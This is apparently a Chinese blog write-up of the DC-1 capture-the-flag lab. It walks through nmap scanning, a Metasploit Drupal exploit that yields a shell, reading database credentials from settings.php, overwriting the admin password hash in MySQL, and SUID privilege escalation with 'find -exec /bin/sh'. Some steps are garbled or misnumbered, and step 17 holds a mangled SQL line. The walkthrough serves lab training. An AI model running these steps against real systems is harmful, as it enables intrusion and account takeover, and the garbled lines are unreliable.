dc-1靶机

1.启动kali,使用nmap扫描。

 2.访问靶机地址

nmap:                                                                                     

使用nmap带参数的扫描

nmap -A ip -p0-65535

 确定该站点的 CMS Drupal 

使用msfconsole工具,运行MSF

使用网站的cms信息,在MSF中使用search drupal

 3.找到了两个与 http 相关的模块,根据 Rank(等级)优先选择带颜色的模块,使用 use 2 装载模块。

4.使用 show options 查看需要进行的设置,发现只需要设置 RHOSTS(目标),所以使用 set RHOSTS

 使用run运行模块

运行模块后,成功建立会话,使用shell即可拿到靶机的webshell

使用whoami查看当前用户的权限。

 

4.为了方便后面的操作,使用 python -c "import pty;pty.spawn('/bin/bash')" 实现交互式 Shell

交互式 Shell:可以执行一些需要上下文的命令,并且会显示操作的结果。

 使用 ls -al 浏览当前目录中所有的文件及其权限

 发现了flag1.txt,并进行查看

每一个好的cms都需要一个配置文件,你也一样。

5.根据文件内容,百度搜索 Drupal 站点的默认配置文件,得知文件名为 settings.php

6.先使用 find /var/www/ -name settings.php 在网站目录下搜索 settings.php 文件。

7.成功搜索到settings.php 使用cat /sites/default/settings.php进行查看

 

8.查看后发现这个文件就是我们要找的第二个 flag,并且还发现了靶机数据库的账户和密码。

9.使用 mysql -u dbuser -pR0ck3t 尝试登录靶机数据库。

 

 10.登录成功后,使用databases查看所有的数据库

11.根据库名进行判断,drupaldb 应该是靶机的 Drupal 站点使用的数据库。

14.12.使用 use drupaldb; 进入数据库,然后使用 show tables; 查看当前数据库中的所有表。

 

13.浏览表名后,发现一个 users表,猜测其可能保存着网站用户的信息。1

14.使用select * from user/G,纵向显示users表中的数据

 

15.找到了 admin(管理员)账号的密码,根据密码形式可以得知密码经过了加密。

16.得到密码密文后可以尝试进行解密或修改密码,搜索资料后发现这种加密是不可逆,并且 Drupal 提供了可以直接修改管理员密码的方法。在 /var/www/ 下使用 php scripts/password-hash.sh tkm 即可,生成tkm,这个字符串对应的hash值。

 17.再次进入到数据库中,使用update drupaldkwsens set pass="hashwherecname='admin'即可修改admin的密码为之前生成Hash时使用的字符串,此处为tkm。

update drupaldb.users set pass="$S$DZhMUD9bEhyn4XKcfHQB3MzY19aFgUwBWbKLRCiv6eDD2llXybHv" where name='admin';
select * from drupaldb.users where name='admin'\G;

 18.尝试使用admin:tkm登陆

19.成功使用管理员账户登录站点,看到最上方有一排选项,如果看不懂,就都试一次。

 

 

 特殊权限将有助于查找密码 但您需要exec 命令才能确定如何获取阴影中的内容

21查看后发现文本内容中有两个特别的大写字母perms和find,根据此前flag的形式,使用find /name“flag*" 搜索所有开头为flag的文件。代尝试点击 Dashboard 选项,找到了 flag3.txt ,点击进行查看

 22.成功找到flag4,并查看cat /home/flag4/flag4.txt

您可以使用相同的方法在root中查找或访问标志吗 

23.根据 flag4.txt 中的内容,推测下一步需要进行提权,从而获得 root 权限,并访问 /root 目录,获得 flag5

24.根据 flag3 中另外一个大写字母 perms ,猜测可能需要使用 SUID 提权,使用 find / -user root perm -4000 -print 2>/dev/null 查找所有具有 SUID 权限且属主为 root 的文件。

find / -user root perm -4000 -print 2>/dev/null

25.发现了 find 命令,并且根据 flag3 中提到的 -exec,可以确定需要使用 find 提权。

26.使用 touch tkm 创建提权需要的文件,然后使用 find tkm -exec '/bin/sh' \; 进行提权。

  

 27.成功获得root权限,根据提示使用cd root访问/root目录,找到了thefinalflag.txt文件并查看。

做得好!!!!
希望你喜欢这个并学到了一些新技能。“您可以通过年witter与我联系,让我知道您对这段小旅程的看法@DCAU7

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值